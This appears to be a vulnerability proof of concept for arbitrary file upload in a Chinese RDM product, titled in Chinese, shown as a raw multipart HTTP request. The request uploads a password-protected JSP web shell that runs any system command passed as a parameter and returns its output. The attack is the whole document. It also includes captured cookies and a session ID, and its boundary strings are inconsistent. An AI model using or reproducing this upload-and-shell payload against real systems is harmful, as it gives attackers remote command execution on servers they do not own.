青铜器RDM任意上传getshell

"http://**.**.**.**/upload?dir=cmVwb3NpdG9yeQ==&name=bXl0ZXN0LmpzcA==&start=0&size=7000&"& HTTP/1.1
 Accept: text/*
 Content-Type: multipart/form-data; boundary=----------KM7Ij5234ei4GI3Ef1cH2ei4ei4e
 User-Agent: Shockwave Flash
 Host: **.**.**.**
 Content-Length: 893
 Proxy-Connection: Keep-Alive
 Pragma: no-cache
 Cookie: _ga=GA1.2.1259806175.1459557490; _jzqa=1.1299702211058405000.1459557490.1459573115.1459585791.4; Hm_lvt_6d141314e7cea7d4950e6b57c4d67420=1459557490; sgsa_id=**.**.**.**|1459557516975289; _jzqx=1.1459573115.1459573115.1.jzqsr=**.**.**.**|jzqct=/forum%2Ephp.-; username=%u5F2%sdfe; userpassword=; JSESSIONID=708109C330E9D9C86F1D09814A180CFB
 
 ------------KM7Ij5ei4GI3Ef1cH2ei4ei4ei4gL6
 Content-Disposition: form-data; name="Filename"
 
 1.jsp
 ------------KM7Ij5ei4GI3Ef1cH2ei4ei4ei4gL6
 Content-Disposition: form-data; name="folder"
 
 /pages/common/
 ------------KM7Ij5ei4GI3Ef1cH2ei4ei4ei4gL6
 Content-Disposition: form-data; name="Filedata"; filename="§1.jsp§"
 Content-Type: application/octet-stream
 
 <%
     if("_pass".equals(request.getParameter("pwd"))){
         **.**.**.**.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
         int a = -1;
         byte[] b = new byte[2048];
         out.print("<pre>");
         while((a=in.read(b))!=-1){
             out.println(new String(b));
         }
         out.print("</pre>");
     }
 %>
 
 ------------KM7Ij5ei4GI3Ef1cH2ei4ei4ei4gL6
 Content-Disposition: form-data; name="Upload"
 
 Submit Query
 ------------KM7Ij5ei4GI3Ef1cH2ei4ei4ei4gL6--